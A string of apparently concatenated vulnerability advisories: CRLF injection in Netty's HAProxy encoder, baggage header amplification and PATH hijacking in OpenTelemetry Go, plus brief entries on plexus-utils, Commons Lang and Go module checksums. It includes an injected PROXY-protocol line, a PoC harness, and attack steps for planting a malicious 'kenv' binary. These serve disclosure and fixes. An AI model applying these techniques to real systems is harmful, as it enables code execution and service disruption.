    PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r

  PROXY lines found: 2
  VULNERABLE: YES - Second PROXY line injected!

7. Remediation Recommendations

Option 1: Validate AF_UNIX Addresses for CRLF

// HAProxyMessage.java checkAddress() - add for AF_UNIX:
case AF_UNIX:
    ObjectUtil.checkNotNull(address, "address");
    byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);
    if (addrBytes.length > 108) {
        throw new IllegalArgumentException("invalid AF_UNIX address: too long");
    }
    for (byte b : addrBytes) {
        if (b == '\r' || b == '\n') {
            throw new IllegalArgumentException(
                "AF_UNIX address contains prohibited CRLF character");
        }
    }
    return;

Option 2: Validate in Encoder

// HAProxyMessageEncoder.java encodeV1() - validate before writing:
private static void validateV1Address(String address) {
    for (int i = 0; i < address.length(); i++) {
        char c = address.charAt(i);
        if (c == '\r' || c == '\n' || c == ' ') {
            throw new HAProxyProtocolException(
                "V1 address contains prohibited character at index " + i);
        }
    }
}

8. References

• HAProxy PROXY Protocol v1 Specification
• CWE-93: Improper Neutralization of CRLF Sequences
• GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)

Directory Traversal vulnerability in the extractFile method of org.codehaus.plexus.util.Expand in plexus-utils before 6d780b3378829318ba5c2d29547e0012d5b29642. This allows an attacker to execute arbitrary code

multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit.

severity

HIGH (availability / remote request amplification)

relevant links

• repository: https://github.com/open-telemetry/opentelemetry-go
• pinned callsite: https://github.com/open-telemetry/opentelemetry-go/blob/1ee4a4126dbdd1bc79e9fae072fa488beffac52a/propagation/baggage.go#L58

vulnerability details

pins: open-telemetry/opentelemetry-go@1ee4a41
as-of: 2026-02-04
policy: direct (no program scope provided)

callsite: propagation/baggage.go:58 (extractMultiBaggage)
attacker control: inbound HTTP request headers (many baggage field-values) → propagation.HeaderCarrier.Values("baggage") → repeated baggage.Parse + member aggregation

root cause

extractMultiBaggage iterates over all baggage header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit).

impact

in a default net/http configuration (max header bytes 1mb), a single request with many baggage: header field-values can cause large per-request allocations and increased latency.

example from the attached PoC harness (darwin/arm64; 80 values; 40 requests):

• canonical: per_req_alloc_bytes=10315458 and p95_ms=7
• control: per_req_alloc_bytes=133429 and p95_ms=0

proof of concept

canonical:

mkdir -p poc
unzip poc.zip -d poc
cd poc
make test

output (excerpt):

[CALLSITE_HIT]: propagation/baggage.go:58 extractMultiBaggage
[PROOF_MARKER]: baggage_multi_value_amplification p95_ms=7 per_req_alloc_bytes=10315458 per_req_allocs=16165

control:

cd poc
make control

control output (excerpt):

[NC_MARKER]: baggage_single_value_baseline p95_ms=0 per_req_alloc_bytes=133429 per_req_allocs=480

expected: multiple baggage header field-values should be semantically equivalent to a single comma-joined baggage value and should not multiply parsing/alloc work within the effective header byte budget.
actual: multiple baggage header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes.

fix recommendation

avoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total).

fix accepted when: under the default PoC harness settings, canonical stays within 2x of control for per_req_alloc_bytes and per_req_allocs, and p95_ms stays below 2ms.

poc.zip
PR_DESCRIPTION.md

Summary

The fix for GHSA-9h8m-3fm2-qjrq (CVE-2026-24051) changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms.

Root Cause

sdk/resource/host_id.go line 42:

if result, err := r.execCommand("kenv", "-q", "smbios.system.uuid"); err == nil {

Compare with the fixed Darwin path at line 58:

result, err := r.execCommand("/usr/sbin/ioreg", "-rd1", "-c", "IOPlatformExpertDevice")

The execCommand helper at sdk/resource/host_id_exec.go uses exec.Command(name, arg...) which searches $PATH when the command name contains no path separator.

Affected platforms (per build tag in host_id_bsd.go:4): DragonFly BSD, FreeBSD, NetBSD, OpenBSD, Solaris.

The kenv path is reached when /etc/hostid does not exist (line 38-40), which is common on FreeBSD systems.

Attack

1. Attacker has local access to a system running a Go application that imports go.opentelemetry.io/otel/sdk
2. Attacker places a malicious kenv binary earlier in $PATH
3. Application initializes OpenTelemetry resource detection at startup
4. hostIDReaderBSD.read() calls exec.Command("kenv", ...) which resolves to the malicious binary
5. Arbitrary code executes in the context of the application

Same attack vector and impact as CVE-2026-24051.

Suggested Fix

Use the absolute path:

if result, err := r.execCommand("/bin/kenv", "-q", "smbios.system.uuid"); err == nil {

On FreeBSD, kenv is located at /bin/kenv.

Uncontrolled Recursion vulnerability in Apache Commons Lang.

This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.

The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop.

Users are recommended to upgrade to version 3.18.0, which fixes the issue.

NewNTUnicodeString does not check for string length overflow. When provided with a string that overflows the maximum size of a NTUnicodeString (a 16-bit number of bytes), it returns a truncated string rather than an error.

A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache.

This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log.

All tiles are now correctly verified against their parents.

In order to determine if you have been affected:

rm -r go.sum go.work.sum vendor/ && go mod tidy

A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log.

This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log.

In order to determine if you have been affected:

rm -r go.sum go.work.sum vendor/ && go mod tidy

A norm.Iter can enter an infinite loop when handling input containing invalid UTF-8 bytes.

A norm.Iter can enter an infinite loop when handling input containing invalid UTF-8 bytes.